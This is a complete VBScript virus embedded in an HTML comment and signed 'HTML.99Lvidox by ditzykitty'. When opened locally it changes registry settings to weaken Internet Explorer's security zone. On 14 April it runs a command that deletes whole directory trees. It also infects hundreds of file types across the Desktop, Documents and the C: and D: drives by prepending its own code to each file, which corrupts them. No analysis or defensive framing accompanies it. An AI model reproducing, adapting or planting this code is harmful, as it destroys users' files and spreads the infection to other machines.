<!--
on error resume next
REM HTML.99Lvidox by ditzykitty
if location.protocol="file:" then
randomize
if int(rnd*3)+1=1 then msgbox "de ADN es MuTo dE mUeRtO!!"
set c1g7f0=createobject("WScript.Shell")
set a0b7h3=createobject("Scripting.FileSystemObject")
g4f4d8=Replace(location.href,"/","\"):g4f4d8=Replace(g4f4d8,"file:\\\", ""):g4f4d8=a0b7h3.GetParentFolderName(g4f4d8)
set h1a0a1=document.body.createtextrange
c1g7f0.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201" , 0, "REG_DWORD"
c1g7f0.RegWrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201" , 0, "REG_DWORD"
if month(now)=4 and day(now)=14 then
c1g7f0.Run "DelTree /y *.* >null",vbHide
end if
a3i5d4(g4f4d8)
a3i5d4(a0b7h3.BuildPath(a0b7h3.GetSpecialFolder(0),"WEB"))
a3i5d4(c1g7f0.SpecialFolders("Desktop"))
a3i5d4(c1g7f0.SpecialFolders("MyDocuments"))
a3i5d4("D:\")
a3i5d4("C:\")
end if
sub a3i5d4(g2f2d8)
on error resume next
if a0b7h3.FolderExists(g2f2d8) then
Do
Set d3g6i3=a0b7h3.GetFolder(g2f2d8)
g2f2d8=a0b7h3.GetParentFolderName(g2f2d8)
Set e2f7f7=d3g6i3.Files
For each f7e6b2 in e2f7f7
e5f8g1=ucase(a0b7h3.GetExtensionName(f7e6b2.Name))
if e5f8g1="HTML" or e5f8g1="HTM" or e5f8g1="HTT" or e5f8g1="TORRENT" or e5f8g1="PART" or e5f8g1="MSI" or e5f8g1="DBX" or e5f8g1="TMP" or e5f8g1="ORI" or e5f8g1="GHO" or e5f8g1="BAK" or e5f8g1="PY" or e5f8g1="PL" or e5f8g1="M" or e5f8g1="JAVA" or e5f8g1="FLA" or e5f8g1="DTD" or e5f8g1="CS" or e5f8g1="CPP" or e5f8g1="CLASS" or e5f8g1="C" or e5f8g1="VCD" or e5f8g1="TOAST" or e5f8g1="DMG" or e5f8g1="ZIPX" or e5f8g1="ZIP" or e5f8g1="TAR.GZ" or e5f8g1="SITX" or e5f8g1="SIT" or e5f8g1="RPM" or e5f8g1="RAR" or e5f8g1="PKG" or e5f8g1="GZ" or e5f8g1="DEB" or e5f8g1="7Z" or e5f8g1="UUE" or e5f8g1="MIM" or e5f8g1="HQX" or e5f8g1=".BIN" or e5f8g1="BIN" or e5f8g1="PRF" or e5f8g1="KEYCHAIN" or e5f8g1="INI" or e5f8g1="CFG" or e5f8g1="SYS" or e5f8g1="LNK" or e5f8g1="DRV" or e5f8g1="DMP" or e5f8g1="DLL" or e5f8g1="CUR" or e5f8g1="CPL" or e5f8g1="CAB" or e5f8g1="TTF" or e5f8g1="OTF" or e5f8g1="FON" or e5f8g1="FNT" or e5f8g1="XLL" or e5f8g1="PLUGIN" or e5f8g1="8BI" or e5f8g1="XHTML" or e5f8g1="RSS" or e5f8g1="PHP" or e5f8g1="JSP" or e5f8g1="JS" or e5f8g1="CSS" or e5f8g1="CSR" or e5f8g1="CER" or e5f8g1="ASP" or e5f8g1="KML" or e5f8g1="GPX" or e5f8g1="DXF" or e5f8g1="DWG" or e5f8g1="GAM" or e5f8g1="NES" or e5f8g1="ROM" or e5f8g1="SAV" or e5f8g1="SQL" or e5f8g1="APP" or e5f8g1="BAT" or e5f8g1="CGI" or e5f8g1="COM" or e5f8g1="EXE" or e5f8g1="JAR" or e5f8g1="PIF" or e5f8g1=" VB" or e5f8g1=" WSF" or e5f8g1=" PDB" or e5f8g1=" MDB" or e5f8g1=" DB" or e5f8g1=" ACCDB" or e5f8g1=" XLSX" or e5f8g1=" XLS" or e5f8g1=" XLR" or e5f8g1=" RELS" or e5f8g1=" QXP" or e5f8g1=" QXD" or e5f8g1=" PDF" or e5f8g1=" PCT" or e5f8g1=" INDD" or e5f8g1="3G2" or e5f8g1="3GP" or e5f8g1="ASF" or e5f8g1="ASX" or e5f8g1="AVI" or e5f8g1="FLV" or e5f8g1="MOV" or e5f8g1="MP4" or e5f8g1="MPG" or e5f8g1="RM" or e5f8g1="SWF" or e5f8g1="VOB" or e5f8g1="WMV" or e5f8g1="WMA" or e5f8g1="WAV" or e5f8g1="RA" or e5f8g1="MPA" or e5f8g1="MP3" or e5f8g1="MID" or e5f8g1="M4A" or e5f8g1="M3U" or e5f8g1="IFF" or e5f8g1="IAF" or e5f8g1="XML" or e5f8g1="VCF" or e5f8g1="SDF" or e5f8g1="PPTX" or e5f8g1="PPT" or e5f8g1="PPS" or e5f8g1="KEY" or e5f8g1="GBR" or e5f8g1="EPUB" or e5f8g1="EFX" or e5f8g1="DAT" or e5f8g1="CSV" or e5f8g1="DOC" or e5f8g1="DOCX" or e5f8g1="LOG" or e5f8g1="MSG" or e5f8g1="PAGES" or e5f8g1="RTF" or e5f8g1="TXT" or e5f8g1="WPD" or e5f8g1="WPS" then
Set e4b0f6=a0b7h3.OpenTextFile(f7e6b2.path,1,False)
a9h6i2=e4b0f6.Readline
if a9h6i2="<!--HTML.99Lvidox-->" then
e4b0f6.close()
else
i3d4a8(f7e6b2.path)
end if
end if
next
Loop Until d3g6i3.IsRootFolder = True
end if
end sub
sub i3d4a8(i3b9d0)
On Error Resume Next
Set e4b0f6=a0b7h3.OpenTextFile(i3b9d0,1,False)
f1i4b8=e4b0f6.ReadAll()
e4b0f6.close()
Set e4b0f6=a0b7h3.OpenTextFile(i3b9d0,2,False)
e4b0f6.WriteLine("<!--HTML.99Lvidox-->")
e4b0f6.Write("<html><body>")
e4b0f6.WriteLine h1a0a1.htmlText
e4b0f6.WriteLine("</body></html>")
e4b0f6.Write(f1i4b8)
e4b0f6.Close
end sub
-->